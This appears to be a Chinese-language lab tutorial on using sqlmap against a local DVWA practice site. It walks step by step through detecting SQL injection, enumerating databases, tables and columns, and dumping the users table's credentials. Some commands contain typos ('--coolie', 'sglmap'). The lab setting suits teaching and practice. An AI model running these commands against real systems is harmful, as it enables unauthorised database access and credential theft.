目录
sglmap是一个开源的渗透测试工具,可以用来进行自动化检测,利用SQL注入漏洞,获取数据库服务器的权限。
一、准备工作
1)kali操作系统自带sqlmap,可以直接输入sqlmap执行。
2)启动apache2和mysql服务
service apache2 start # 启动apache2
service mysql start # 启动mysql
3)打开DVWA靶场,将防御等级设置为low
二、检测漏洞
命令行:sqlmap -u "要检查的网址" --cookie ="网站登录后,后端返回的cookie值"
cookie:登录凭证
第一步:获取待检测的url
http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#
第二步:获取cookie
回到DVWA按:F12 # 进入开发者模式
security=low; PHPSESSID=jgf2conucodsct8sjjiduom5m2
第三步:生成命令行
该命令行输入到虚拟机的命令框中务必自己输入,不要复制粘贴!!!
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --coolie="security=low; PHPSESSID=jgf2conucodsct8sjjiduom5m2"
三、获取数据库名
在第一步检测的的命令后面加上:--dbs
dbs:database server获取所有数据库名
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=jgf2conucodsct8sjjiduom5m2" --dbs
四、获取指定数据库表
在第一步检测的的命令后面加上:-D 数据库名称 --tables
-D(Database)指定想要获取的数据库名
--tables 枚举(遍历)DBMS数据库中的表
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=jgf2conucodsct8sjjiduom5m2" -D dvwa --tables
五、获取指定数据库列/表项
在第一步检测的的命令后面加上:-D 数据库名 -T 数据库的表名 --columns
--columns 列出表项/例
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=jgf2conucodsct8sjjiduom5m2" -D dvwa -T users --columns
六、获取数据
把第五步命令后面的--columns换成:--dump # 读取数据
sqlmap -u "http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=jgf2conucodsct8sjjiduom5m2" -D dvwa -T users --dump
很慢~,等待中ing
爆破到dvwa数据库中user表的用户名及密码,结束!